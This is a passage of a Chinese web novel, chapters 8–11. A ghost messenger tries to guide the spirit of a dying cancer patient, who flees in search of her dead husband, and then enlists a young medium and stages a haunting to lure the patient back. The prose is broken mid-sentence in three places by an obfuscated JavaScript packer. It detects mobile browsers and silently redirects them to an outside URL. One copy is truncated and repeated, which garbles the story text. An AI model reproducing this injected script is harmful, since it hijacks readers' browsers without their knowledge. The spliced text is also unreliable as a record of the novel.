孟清秋不累,所以也没睡太久,等她醒来的时候一眼看到顾聿怀坐在桌子边开着灯看书,刚睡醒她还有点迷糊,恍惚间觉得这场景好像似曾相识。 还没等她被孟婆汤影响的记忆想起些什么,她突然意识到自己正跟人家“孤男寡鬼”共处一室,这才想到不会休息室还分男女吧?那她岂不是睡了人家男生的床。 这下终于清醒了,吓得她一个激灵从床上掉了下去。 孟清秋:…… 都怪这人走路没声音!看把她吓的! 孟清秋从地上爬起来,毕竟是自己进了人家科室的休息室,这会儿正要溜走,结果敲门声响起来,外面有人喊:“聿怀,你在里面吗?” 顾聿怀放下书,“在的,直接进来就好。” 门开了一条缝,一个和顾聿怀年龄相仿的男人挤了进来又把门带上了,似乎是有事找他。 “我找你半天呢,怎么一查完房你人就不见了。” 顾聿怀摁了摁山根,“昨天晚上有手术,上午又没怎么睡好,这会儿查完房没什么事准备来眯一觉的,结果看到书想到有个问题有点没搞懂,不知不觉又看起来了。” 那人笑着锤了他的肩膀一下,“行了,不愧是你,以前上学的时候就你学习最积极。” 顾聿怀说:“好了宋哲你别调侃我了,有什么事吗?” 宋哲掏出手机,一边点开一边说:“小沁公司不是要开年会嘛,然后弄了个团建活动去迪士尼,还可以带家属,我俩这又没个孩子的,咱这工作年前又忙的不行,小沁就说要不把念念带去玩。” “正好孩子不也放假了,你又没多少时间陪她,让小沁带她去迪士尼玩一天怎么样?我记得小丫头之前就说想去看烟花来着。” 他把刘沁发他的邀请函给顾聿怀看:“看,消费公司全买单!这羊毛不薅白不薅啊,咱享受不了得让我大侄女替我薅啊!” 顾聿怀笑着拍拍他,“行了行了,知道你是为了念念好,那我就先谢谢你和小沁了。” 宋哲和刘沁怕念念没了妈妈只有爸爸带,心理会出问题,所以一有时间夫妻俩就来带念念出去玩,特别是刘沁,把念念当自己的女儿一样对待。 顾聿怀都懂,也很感激,大家都是多年的朋友了,谢谢的话说一次就够,其他的都记在心里。 宋哲一键转发,“都是朋友谢什么,再说了你家念念不去,小沁可就要一个人玩了,刚刚还跟我说今天说什么都得给念念拉上呢!” “你记得扫码填念念的信息,还没下班呢我先去忙了。” 顾聿怀看了一眼时间,把书放整齐跟了上去,“一起,摸鱼时间结束了,又要忙了。” 休息室的门被推开,宋哲和顾聿怀一前一后走了出去,孟清秋也跟在顾聿怀身后钻了出来,然后一溜烟跑了。 8. 第8章 册子从怀里飞出来的时候,孟清秋还愣了一下。 给奈奈打工太久了,她差点忘记了最开始奈奈是让她按照指引去接人的。 书在空中哗啦啦地翻页,空白纸上显现出一行字来—— 巧合的是,居然就在这家医院,还是一位肿瘤科的病人。 孟清秋直接收起册子上了楼,肿瘤科的病房走廊依旧空荡,孟清秋直接挨个看过去找她的任务对象。 其实很好找,其他病房都或多或少有人在聊天,只有这个奶奶的单人小病房安安静静的。 周淑萍已经到了肿瘤晚期,该吃的药该用的治疗方案都已经试过了,很遗憾没有起到什么效果。 老太太头发花白,衬得脸色更加苍白,女儿女婿每天医院公司来回奔波轮流守着,就怕老太太有个好歹。 最后是她自己大手一挥决定不治疗了。 话音刚落女儿低着头泣不成声。 她知道自己的母亲受到了多少折磨,年龄这么大了,病痛更是让人难受,但她作为孩子心里仍有一线希望。 那毕竟是自己的妈妈。 万一呢?万一这个方案能让她少受点苦,或者是……好起来一点呢? 命运弄人,她只能看着母亲逐渐消瘦下去。 经历了几次夜间抢救,她也试着去找其他医生看过,但都没有一个能让她稍放下心的说法。 她只能每天在母亲面前强装乐观,背地里不知道抹了几次眼泪。 周淑萍在最后的日子里清醒的时候不多,但她也知道女儿女婿为了她受了多少苦。 当母亲的总是不想成为孩子的拖累。她还有个外孙,这些天为了照顾她,女儿狠心给孩子办了住校,和女婿几乎不落屋,两个人就轮流躺在她房间的折叠床上休息。 外孙很懂事,自己在学校把自己照顾得很好,周末放了假就来医院陪她。 他们并不是富裕的家庭,原本女儿女婿的工资加上她的退休工资正好够一家人生活,自打她病了以后,攒下来的钱就全砸在了她的身上。 孩子们心疼她,给她安排的单人病房,原本还请了护工,结果护工不靠谱,女儿女婿最后还是不放心所以亲自来照顾她了。 也许早点结束才是最好的结果。 女儿还在哭泣,女婿站在她身后揽着她的肩。 对于结果大家其实都心知肚明,死亡不过是早晚的问题。 但一想到离别没有人能够轻描淡写,病房里一时间安静下来,只有女儿低低的啜泣声回荡。 周淑萍其实连抬起胳膊的力气都没有了,但她还是努力地抬了下手,女儿余光瞥到,立马双手紧紧握住母亲的手。 周淑萍说话很轻,“别哭,孩子。没关系的。” “你忘了吗?小时候妈妈告诉过你,人死了之后都会变成天上的星星。现在妈妈要去当星星了,你一抬头就能看见妈妈了。” 周淑萍用几十年前的话哄着她,女儿泪眼朦胧间仿佛看见当年那个小小的女孩,依偎在妈妈怀里看电视。 电视里的角色死掉了,她抬头问妈妈:“妈妈,什么是死啊?死了之后人会去哪里呢?” “他的朋友哭得那么伤心,死是不是很可怕呀?” 周淑萍看着女儿亮晶晶的眼睛,像天上的星星一样纯洁无瑕。她温柔地摸摸女儿的头发,“死就是要离开自己的亲人朋友。” “死了之后,他就要去天上变成星星了,星星眨眨眼,就是他在天上和大家打招呼呢!” “死亡并不可怕,他的朋友伤心只是因为以后再也看不到他了,但是他会变成星星一直看着他的朋友哦。” 女儿点点头,“妈妈,那有一天我们也会死吗?” 周淑萍说:“当然了,死亡是每个人都要经历的事情,但是我们不用害怕死亡,因为去世的人虽然离开我们了,但是他其实一直在我们身边哦。” “你看天上的星星,是不是每天晚上都可以看见呢?所以死去的人也是每天都在的哦。你想他们了就看看星星,最亮的那颗就是他们在对我们打招呼。” 女儿抱着妈妈笑了,“我明白了妈妈,我不害怕了!” 几十年后的今天,女儿已经长大成人,有了自己的女儿,她也终于能理解一个母亲的心情,这会儿听到妈妈重复着小时候的话,她含着眼泪笑了出来。 “妈,你怎么还当我是小孩子!” 周淑萍被她牵住的手指动了动,“你永远是妈妈的孩子。” 女儿又要哭了,周淑萍用力挤出一个笑来,“而且我也相信这是真的,你知道吗?其实知道自己要走了,我一开始也有些害怕,然后我想到你的父亲。” “如果人死后真的可以变成星星,他一定在天上注视了我们好多好多年,我只是现在要去和他团聚了。” “别伤心孩子,我也很想念他。” 周淑萍和丈夫是经人介绍认识的。 两个人没有感情基础,只是互相看着顺眼,家庭条件也都算得上门当户对,就这样在双方家长的祝福中结了婚。 男人话很少,但总在行动上表达对周淑萍的好。 周淑萍的朋友结婚早些,知道她相了亲来告诉她:“女人结了婚就不能做自己啦,要伺候老公给他洗衣服做饭的啦。” 周淑萍知道,她这个朋友自打结了婚就全身心投入了家庭,难得能约出来吃顿饭,还要操心老公和孩子在家吃不好,最后聚会只能草草结束。 因此周淑萍对婚姻是没什么期待的,她那个年代也没有太多选择权,父母看中了自己也觉得过得去就结了。 但是也许是上天眷顾,让她遇到了这个男人。 男人会在她挽起袖子要下厨的时候把她拉到沙发上坐着,说有一道拿手好菜想做给她尝尝。 也会在下班后看到她把衣服拿去洗好,主动端过盆子拿去一一晒好。等过几天周淑萍下班回家,衣服已经整整齐齐叠好收在衣柜里。 后来他们有了孩子,正式建立起属于自己的小家。 在孩子出生那年,周淑萍26岁生日那天,男人像之前每年那样给周淑萍买了蛋糕。 周淑萍抱着孩子吹灭了蜡烛,男人小心翼翼从口袋里掏出一个布包,一层一层揭开,最里面是一枚金光闪闪的戒指。 “淑萍,当初结婚的时候两家人都商量好了,置办的东西准备好了,我也没给你买个啥。现在咱们的日子也过起来了,我一直想给你补一个戒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482495|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指。” “我……我也不太会说话,你生孩子这么辛苦,我也没能帮你分担点痛苦。我也挣不到啥大钱,你这么好,跟着我受委屈了。” “但是我会努力照顾好你们娘俩的,咱们一家三口好好过日子,建设好我们自己的小家!” “淑萍……你愿意吗?” 周淑萍抱着孩子,眼里闪着泪光,笑着锤了男人一下,“你怎么这么笨啊!孩子都有了,还问我愿不愿意呢!” 男人呆了那么一下,然后小心捧起周淑萍的手给她戴上了戒指,“真好看,淑萍,你就应该戴漂亮的首饰,衬你。” 怀里的女儿“咯咯”笑着去抓妈妈的手指,周淑萍觉得自己是这个世界上最幸福的女人。 男人用一辈子时间完成了他的承诺。他们一家三口幸福美满,周淑萍被他照顾得五十多岁了看着还像年轻时那样美丽。 女儿常调侃说自己在家真多余,爸爸妈妈天天在她面前秀恩爱。 孙女出生后没多久男人就去世了,也是生了一场大病,走的时候拉着女儿的手千叮咛万嘱咐:“你妈妈跟着我没吃过苦,你也要好好替我照顾她知道吗。” 后来女儿就把周淑萍接到自己家住,周淑萍和男人的房子也空置了。她没带过来多少东西,只搬了几盆他们一起栽下的花。 有天晚上周淑萍在阳台给她种的花浇水,浇着浇着就愣在原地,想起以前男人晒完衣服会蹲在她身边,她在那边修剪枝叶,男人就帮她给花松土。可是再也没有人会在下班路上给她买好看的花了。 周淑萍的眼眶有些湿润,她抬手抹了抹眼睛,女儿不知道什么时候走到了她身后,从背后揽住了她的肩膀。 她把头靠在妈妈肩上,推着妈妈走到窗口看着天空:“妈妈,爸爸没有离开我们,你看,那颗最亮的星星正在对我们眨眼睛呢。” 周淑萍也搂着女儿,把她抱在怀里,“嗯,爸爸永远在我们身边。” 他们家里一直有一个小小的角落摆着男人的照片,周淑萍每天早上第一件事就是将相框擦干净,然后轻轻对丈夫说一句“早安”。 没有了爱人在身边,她也一天天老去了。 周淑萍觉得没有人不害怕死亡,所以当她青春不再,身体一天天垮下去,步伐一点点变慢,然后从走路变成躺在病床上,她也是害怕的。 来住院的时候她把丈夫的照片带了过来,就放在她的床头。那天她听说隔壁走了一个晚期病人,原本沉重的心情在转头看到丈夫微笑着的照片时突然平静下来。 也是在那一刻她决定不再继续治疗,因为想到另一个世界还有人在等她,她也就没那么害怕。 停了治疗,周淑萍这几天反而感觉身体好受了不少。周末学校放了假,女儿把孩子接了过来在医院里陪外婆。 中午一家人围在支起来的小桌板上吃完饭,周淑萍看着外孙女在窗边写作业,女婿陪着女儿坐在折叠床上整理他们刚从家里拿来的换洗衣服。 下午的阳光正好,给这寒冷的冬天增添了一分暖色。她眼睛弯了弯,最后挤出一个笑来,然后闭上了双眼,陷入一场醒不来的长眠。 她的手搭在被子上,无名指的戒指在阳光下闪烁着金光。 9. 第9章 孟清秋在病房外呆了两天,这次离得近,人还活着她就赶到了。 老太太的孩子们都很有孝心,就连在上学的外孙女都守在床前。 册子上记录的日子一到,老太太就闭上了眼睛。 孟清秋站在病房门口透过玻璃窗望进去,冬天的阳光不那么刺眼,洒在周淑萍身上,她的神色平和地像睡着了一样。 女儿先发现了不对,随即哭着去叫医生,孟清秋躲得远了些,在走廊尽头远远看着。 顾聿怀和几个医生护士过来了,女儿跑出去时动静大了点,有几个病人家属打开了病房门往外看,然后又都心照不宣地进了屋。 周淑萍病房的门也合上了,过一会儿又打开,女婿把医生护士送了出来,“谢谢大夫,你们都辛苦了。” 他回头看了一眼屋里,孟清秋还能听到里面传来的哭声,“我现在联系火葬场那边,已经提前打过招呼了,估计很快就能过来了……” 顾聿怀点点头,“没事,最近单人病房没排队,你们别急,慢慢来。” 人又散了,女婿进了屋,将哭声也关了起来。 约摸着又过了一个多小时,女婿从房间出来,里面的哭声已经停息了。两个护士推着病床跟着女婿回来,过了一会儿周淑萍盖着白布被推了出来。 女婿和护士扶着床,女儿和外孙女紧紧依偎着。一行人走远了。 孟清秋这才动了身,进了那间病房。 周淑萍就在床边坐着,看起来很迷茫的样子。听到有人进来她转过头去看:“你是……” 孟清秋站在她面前:“我是来带你离开的。” 周淑萍还是慢慢的,“离开?我是死了吗?” 她有些困惑,好似在回忆:“刚刚我听到丫头哭就坐了起来,发现床上还有一个我,然后他们就把我推走了,我喊他们可是没有一个人理我,我又走不动,只能坐在这里等他们回来。” 孟清秋看得出来,周淑萍生前病得太重,所以灵魂也十分虚弱,或许就是因为她走不动了才派自己来接她吧。 孟清秋向周淑萍解释道:“那是因为你已经死了,刚刚他们带走的是你的身体,现在你是以灵魂形式存在的,待会儿我会带你去投胎转世。” “投胎转世?”周淑萍问道。 “没错,每个人死了之后都要去投胎转世,然后进入下一个轮回。” 周淑萍问道:“那我的丈夫呢……” 孟清秋轻声说:“他应该已经过了奈何桥去投胎了。” 老太太听了这话不知道哪来的力气,居然一下子站了起来抓住孟清秋的胳膊:“不可能!他对我那么好,不可能不等我就自己走的!” “他肯定……他肯定也跟我一样灵魂出窍了,在等我呢!” “他一定就在这里的某个地方等着我。” 孟清秋被她抓得有点紧,看她情绪不对连忙安抚:“奶奶,您别着急,人死了之后都会去奈何桥的,您跟我一起去看看就知道了。” 周淑萍完全听不进去她在说什么,她本来就因为病痛的折磨有些精神衰弱,脑子一直晕晕乎乎的,熟悉的人又都不在身边,还一下子从这个陌生姑娘口中听到了信息量这么大的一番话。 这下她更是有些无法控制情绪。 孟清秋还在试图带她回去:“奶奶您相信我,我真的不是坏人,我是来带你去奈何桥的,不信我可以……” “给你展示一下”六个字还没说出口,周淑萍却被她那句“带你走”给吓到了,她认定了男人会在这里等她,生怕孟清秋真的把她带走了,这样丈夫就找不到她了。 周淑萍还在喃喃自语,翻来覆去都是“他在等我,我还不能走”。 然后她在心中做了一个决定。 孟清秋被她攥着胳膊也不敢用力挣扎,怕一不留神给这个脆弱的老太太整出什么好歹,结果周淑萍突然推了她一把,把她掀到了病床上。 孟清秋的腿撞到床沿,因为没反应过来所以重重砸了下去,好在床铺是软的,除了给她摔得懵了一下,倒也没受什么伤。 周淑萍却趁着这个时候跑出了病房。 等孟清秋爬起来追出去,走廊上哪还有周淑萍的身影。 她楼上楼下、电梯楼梯跑了好几趟,还在大门口蹲了一会儿,连老太太的影子都没见着。 甚至还顺手送走了两个亡魂,不过他们都说没有看到周淑萍。 孟清秋这下终于知道为什么册子要特意把周淑萍标注出来了。 爱的力量也太强大了点,居然让一个颤颤巍巍的老太太跑掉了。 孟清秋这会儿不知道是跑累了还是心累,坐在医院外面的花坛边休息,准备等周淑萍的家人回来收拾东西时看看周淑萍有没有跟着。 不一会儿就看到周淑萍的女婿从一辆出租车上下来,步履匆匆走进医院。 周淑萍并没有跟在他身后。 或许她直接在殡仪馆和女儿外孙女在一起。 孟清秋知道S市的殡仪馆开在哪儿,她没等周淑萍的女婿出来,自己直接赶了过去。 她一边走一边把册子拿出来看,试图从册子上找到周淑萍的准确位置。可惜纸上仍然是医院的地址,并没有因为周淑萍跑掉而更新。 将手册收起来的时候孟清秋碰到了脖子上挂着的黄泉叶。 奈奈之前帮她把黄泉叶穿在了一根绳子上,可以当成项链。此刻黄泉叶微微发着热,孟清秋在心里默念:请你带我找到周淑萍。 关键时刻还是黄泉叶管用。 孟清秋猜的没错,黄泉叶把她带到了S市殡仪馆里。 这里死气也很重,孟清秋直接从正门走了进去,很轻易就找到了周淑萍的身体停放的地方。 她的女儿和孙女正在棺材旁抹眼泪,还有几位亲戚在稍远一点的墙边坐着小声交谈。 她在屋里转了一圈又出去找了一圈,回来的时候周淑萍的女婿已经过来了,正在招待来吊唁的亲戚,可是哪儿都不见周淑萍的身影。 黄泉叶抖了抖,又给孟清秋指了个方向。 孟清秋:…… 周淑萍来看了一眼孩子,因为太过伤心所以离开了。 下一站是她和丈夫之前的房子,或许是太久没有回来,她很想念这个一家人生活了几十年的家,也想看看丈夫会不会就在这里等她。 屋里的家具都蒙上了一层白布,上面有一层薄薄的灰,除此之外一切都整整齐齐,物件也不少,看得出主人是花了心思在这上面的。 但是依旧没有周淑萍的身影。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482496|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 孟清秋自觉还年轻,下一站无论如何都得跟上老太太的步伐了,于是又被黄泉叶带到了周淑萍丈夫的墓地。 周淑萍在家里也没有见到丈夫,就去了丈夫骨灰盒存放的地方寻找。 孟清秋到了墓园,一眼望去一个人影都没有,今天不是清明节之类的日子,墓园显得格外清净。 她心里差不多有底了,周淑萍多半是又跑了。 但她还是仔细找了一圈。周淑萍当年买的是双人墓,她丈夫那边已经封上了,名字照片都刻好在上面,而属于周淑萍的那一半还空着,这两天也将写上名字。 孟清秋不找了。 这简直是在玩追逐游戏,而且她又没个交通工具,纯靠两条腿碰运气,老太太可是有明确目标的,她完全没优势啊。 孟清秋直接拉开阴界之门,回去找奈奈帮忙了。 · “唔,这个情况还挺少见的,不过也不是没有解决办法啦……” 奈奈和孟清秋盘腿坐在草地上,面前放着那本册子,黄泉叶还在孟清秋手里蠢蠢欲动。 “她这种情况应该是有点精神错乱了,因为不能接受这个事实所以陷入了自己的世界里面。” “如果她一直乱跑的话七天之后很有可能回不来哦,因为她的情绪并不是很平和的,命运就不太能给她一个清晰的指引。” “之前我不是告诉过你死后如果七天之内不能来奈何桥投胎就会魂飞魄散吗,所以命运给了你这个任务让你去干涉一下,避免她灰飞烟灭。” 孟清秋在病房外看了周淑萍几天,还挺心疼这个老太太,于是赶紧问道:“那你刚刚说有办法是要怎么做?” 奈奈说:“清秋啊……其实你虽然死了身体已经没有了,但是还是可以跟人类交流的。” 孟清秋缓缓冒出一个问号,表示没听懂她在说什么。 奈奈解释道:“人间有一个职业叫通灵师,是可以与死去的灵魂沟通的人,这种人通常都是非常有灵性并且被命运认可的。而你——” “像你这样的人也是被命运认可才能来做这些工作的,所以你们是可以沟通的。” “S市有一个挺厉害的通灵师,你去找他,然后把周淑萍的八字给他,让他想办法把周淑萍召唤回来。” “不过具体怎么操作我就不知道啦,那是他们负责的范围,你拿着黄泉叶给他看他就会帮你的。” 孟清秋似懂非懂,“可是他是人啊,他又看不见我,我怎么给他看……” 奈奈嘿嘿一笑,刚刚故意漏了这点就是想卖关子,好在孟清秋非常聪明,抓住了疑点并且抛出了问题。 奈奈站了起来,“我可以暂时让你拥有实体形态,看起来就和活人没区别,不过不能长时间维持哦,太久的话会超负荷,对灵魂不好的。” 她点了一下孟清秋手腕上的红绳,孟清秋感觉又有新的力量汇聚进来,小丫头就这样抠抠搜搜,不到迫不得已不会给她新东西。 “好啦,你试试!” 孟清秋在心里默念奈奈新教她的口诀,感觉身体变得没那么轻盈了,脚好像也踩得更实了一点。 她的身体看起来没有那么透明,身上的光也消失了。 孟清秋变成了人类,那是她活着时的模样。 10. 第10章 孟清秋站在S市一中对面,上次她来的时候还是为了接张子辰,而今天则是为了找到周淑萍。 她捏着写着通灵师姓名住址的纸条,站在小区门口望着里面的一栋栋高楼,不禁感叹不愧是S市最好的通灵师,真是大隐隐于市,居然就这样直接把办公地点选在了S市最繁华的地带。 本来她还觉得通灵师肯定会住在破旧的小巷子里,开个不引人注意的小超市,有人来找他的时候就把卷帘门一拉,后面的帘子一掀,超市后别有洞天。 柜子上摆满了各种各样的道具,密闭的小空间灯光也很昏暗,营造出一种神秘而有些恐怖的氛围。 来人还在打量着周围的环境,大师已经翘着腿坐在木桌后,拿起一把扇子随意扇着,另一只手轻轻扣了扣桌子,发出“咚咚”的轻响,将来人的注意力拉回来。 等人看向了自己,他下巴一抬,胸有成竹一笑,“说吧,什么事?” 新时代或许没有那么多人相信鬼神存在,他就这样隐居在城市里,靠着超市微薄的收入谋生,偶尔出山帮助别人解决问题。 结果奈奈听完笑个不停,说她想象力太丰富了。 人家可是S市最出名的“捉鬼大师”,这么发达的大都市,客源不断。尤其是商人,最讲究这些风水玄学,找他看事还得提前预约排队呢,人家早就赚得盆满钵满在S市中心买房子了。 奈奈叉着腰:“要不是他家族是世代继承通灵师这个职业的,真有两把刷子能感知到我们,所以愿意一直跟我们合作,我们去找他也得排队等着呢!” “清秋你可一定要记得给他看黄泉叶,他认得上面阴界的气息,有了这个你就可以插队了!” 孟清秋握住黄泉叶:“好,我一定尽快把周奶奶带回来。” 奈奈用法术帮孟清秋换了身衣服,玩换装游戏似的变来变去,最后选了最简单的t恤牛仔裤,外面开春了,下着小雨,还有点冷,奈奈又给她加了件外套。 明明孟清秋看着才是大人,奈奈却一脸老成像个操心的老母亲一样把她送到了阴界之门门口:“注意安全哈!变成人类可就很脆弱了!” 孟清秋薅了把她的头发,“知道啦。” 因为变成人的缘故,孟清秋不能随便开阴界之门了,只能老老实实从郊区走。 还好上次来接张子辰她已经这么折腾了一通。 这次奈奈还给她弄了点现金,她还能坐个公交车。 孟清秋现在能被人看见了,还有点不适应,又找奈奈弄了个口罩把脸遮上了。倒了好几趟车,总算是赶到了城中心。 进了小区站在这个叫周勤的通灵师的家门口,孟清秋轻轻敲了敲门,里面有人喊了声“来了来了!”,孟清秋听到脚步声越来越近,“咔哒”一声,门打开了。 一个看着只有二十多岁的年轻男子扎着一个小辫,穿着居家服站在门口,手里还拿着一把青菜,看样子正准备做饭。 孟清秋之前觉得大师应该是个中年男,这小伙子看着像个艺术生,浑身上下气质怎么看都不像是传闻中的通灵大师,一时间有些犹豫,不会是奈奈给她的地址有问题吧。 那人靠在门槛上,站没个正形:“哈喽美女,有什么事吗?” 孟清秋摘了口罩,“您好,请问这里是周勤先生家吗?” 那人站直了身子,“我就是周勤,你找我有什么事?” 孟清秋睁大眼睛,显得那双漂亮的眼睛圆溜溜的,“您就是周大师?” 周勤已经看到她脖子上挂着的黄泉叶了,心里激动得想蹦起来,面上还淡定地挂着笑,侧身示意她进来,“不像吗?没想到我这代的阴界使者居然这么年轻。快请进。” 孟清秋跟着他走进去,“我还没自我介绍呢,您就看出来了。” 她又解释了一句:“不是不像,我只是没想到大师这么年轻。” 周勤从餐厅拖了把椅子给她坐,“什么大师不大师的,就是从小跟着家里学了点皮毛罢了。” “你脖子上那个,”他隔空点了点孟清秋的黄泉叶,“对我们这种能感应到它的人来说,这玩意儿的存在很明显的,其实你身上都是这叶子的气息。” “不过我倒是没想到你这么年轻,我爷爷他们往上的阴界使者大多数都是中年人了,毕竟你这个年龄就去世的人也很少嘛。” 孟清秋心想,还真是互相怀疑到一起去了。 周勤还是第一次自己接待阴界使者,他去厨房把菜扔回水池里,赶紧跑回来坐在孟清秋对面,直入正题,“看来今天的饭得晚点吃了。说说吧,你们这次需要我帮什么忙?” 孟清秋拿出周淑萍的八字,把事情原委一并说了,周勤对着八字看了一会儿,说道:“这种情况的话只能把她召唤回来了。” “召唤?是要摆什么阵吗?” 周勤说:“倒是也有召唤仪式,不过现在的关键是我们需要拿到一个能连系周淑萍的东西,必须是跟她有关的,比如她穿过的衣服什么的。” “而且她这种情况又特殊一些,我们平时帮逝者家属通灵的时候灵魂是死后七天内还有自己意志的,所以他们感知到生前物品的召唤,猜到是家人这边在联系他们了基本上都会主动过来。” “但是周淑萍,按照你的说法她现在应该是有点精神错乱了,这个时候就需要我们这边强行召唤,让她被动地被拉过来,那信物就得厉害一点,比如她亲人的血液之类的。” 孟清秋没想到这么麻烦:“她亲人的血液?这要怎么拿到啊?我们总不能把人绑架了吧。” 周勤摸摸下巴,“那肯定不能,现在是法治社会。我们主动去拿当然不好弄啊,所以要想个办法让他们自己来找我们。” 孟清秋看他像是有主意的样子,于是做了个请讲的手势,洗耳恭听。 周勤坏笑了一下,鬼点子已经生成,家里就他们俩人他还神秘地压低了声音:“我爷爷之前也遇到过这种事情,也是你们阴界使者来找他帮忙,他当睡前故事给我讲过,可算是派上用场了……” 周勤以前只从爷爷口中知道过阴界使者,这是他第一次自己和阴界使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482497|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者合作,所以有些跃跃欲试,如果不是这种神神鬼鬼的事情他凡人的身躯做不了,他简直恨不得撩袖子现在就自己亲自去干。 孟清秋不用吃饭,商量完后他还热情地送她出门。这会儿也不觉得饿了,洗好的菜已经彻底被他抛到脑后。 孟清秋和他一起下了楼,“好了您快回去吧,我认识路的,等我弄好了再来找您。” 周勤摆摆手,跟孟清秋相见恨晚似的:“清秋,你可一定快点啊,这可是我第一次跟你们这边的人合作,但是我相信我们俩一定可以把事情办得漂漂亮亮的!” 孟清秋在心里笑个不停,这人也太逗了,大师就这么不正经吗,这样也能接到活啊。 她面上毫无波澜,点点头说:“好的好的我会尽快的,那我先走啦。” 出了小区门就是S市一中的大门,这个点正是下午上学的时候,两侧的路边停了很多车,来来往往很多家长带着孩子在往校门口走。 孟清秋离开周勤家就把口罩又戴上了,春季流感高发,她这装扮倒也不显得突兀。 公交站在对面的学校那边,孟清秋和人群站在一起等待红灯变绿。 三、二、一。 人群“哗”地一下向前涌去,和对面的人群像两股水流渐渐交汇,孟清秋低着头被人群向前推着走,肩膀撞上了迎面走来的人。 她下意识抬头,对上了一双熟悉的眼睛。 顾聿怀刚送完念念,车子停在对面,这会儿全是送孩子上学的家长,还有上班路过的车辆,道路一时间显得拥挤。 他随着人流过马路,简直是被推着在往前走,一旦停下来就像追尾一样会撞上后面的人。 他尽量跟着前面人的步伐往对面去,结果被迎面过来的一个人撞了一下胳膊。 他低头看了一眼,那女生正好也抬起头看他。 长发随意挽了两下扎在脑后,戴着口罩看不清长什么样子,整张脸只露出一双眼睛。 纤长的睫毛,棕色的眼珠,水灵灵的大眼睛像大海包裹着琥珀。 重要的是,这双眼睛太熟悉,顾聿怀一辈子都忘不了这双眼睛。 但是这怎么可能? 顾聿怀茫然了一瞬,刚要开口:“你……” 孟清秋抬头看了一眼红绿灯,倒计时快要解释,她点了下头道歉:“不好意思,撞到你了。” 然后匆匆走了。 顾聿怀话堵在嗓子里还没说出来,只能回头看着孟清秋的背影裹在人潮中渐行渐远。 她说话时声音闷在口罩中,顾聿怀也不能确定,但是随即他又觉得自己的想法太可笑。 人都死了这么长时间了,当初是他亲自操办的一切,怎么可能。 应该只是长得像罢了。 可是那双眼睛…… 一模一样的那双眼睛。 顾聿怀站在街对面,再回头已经找不到那抹熟悉的身影。 她已经离开太久太久,但想起来时心脏仍隐隐作痛,像一把尖刀刺穿他的胸膛,永远拔不出,也无法愈合。 11. 第11章 深夜,周淑萍的老房子里一阵白光闪过。 阴界之门凭空开启,孟清秋以灵魂形态轻巧地跳了下来。 她在屋子里转了一圈,黄泉叶已经感应不到周淑萍的气息,而屋里的白布已经掀开了,听说周淑萍的女儿准备把这套房子卖掉。 孟清秋偷偷跟了她两天,摸清了她最近的行程。每天下班了她都会过来打扫卫生通风,周淑萍的女婿来接她回家时会帮她搬走一些父母的物件。 等这边收拾好、东西都搬走了,她就会联系中介把房子挂出去。 孟清秋又谨慎地看了一圈天花板和墙角。这是老房子,家里也没养宠物,所以主人并没有安装摄像头。 她放下心来,毕竟是“私闯民宅”,如果被当成小偷那可就完蛋了,更何况她还要来个“大变活人”。 孟清秋站在客厅,心里默念奈奈教她的口诀,整个人慢慢有了重量,她有了实体形态,站在了周淑萍家客厅。 如果这时候有监控,就会看到一个白衣女人像游戏加载似的渐渐出现在屏幕里。 客厅里周淑萍丈夫的照片之前被她拿去医院了,后来也没有放回来,被女儿带走去她家里了。 孟清秋去卧室翻了一通,周淑萍和丈夫的小物件已经被拿得差不多了,只有一些大件物品还在放着。 床铺也被收得干干净净,只有一个空床架还在卧室摆着,被褥都被叠好了放进柜子里。 孟清秋找了个凳子,把柜子最上层的被套被褥给搬了出来,费了好大一通劲给床铺好了,还上去滚了两圈,被子也凌乱地散着,营造出一种有人在上面睡过的样子。 床头柜的灯被她拧开,散发出暖黄的光。 周勤当初跟她说让她去假装周淑萍回来了,在家里“闹一下鬼”,吓吓她女儿,等她怀疑是母亲“还魂”了,再引导她去寻求大师的帮助,这样周勤就可以“趁虚而入”了。 周勤还特意嘱咐:“做戏做全套啊!你可别畏手畏脚的,整就整个大的!” “唉,要是我会什么隐身的法术就好了,好想亲自去啊!” 周勤一脸遗憾,孟清秋表示你居然还有个“私闯民宅”的梦想。 周勤说我只是太热心想帮你们罢了!我可是新时代社会好公民! 一不做二不休,孟清秋又去了厨房。 食材早就在周淑萍搬去女儿家的时候就清空了,冰箱也断了电。 孟清秋把冰箱门拉开,又把水池堵住,用水龙头放了点水,然后拿了几个碗丢在里面。 客厅的电视机也被她重新插上了电,打开后将音量调小了点一直亮着。 她甚至从柜子里翻出来两个杯子,摆在茶几上做出两个人喝水的样子,又在沙发上狠狠坐了两下,压出来两个印子。 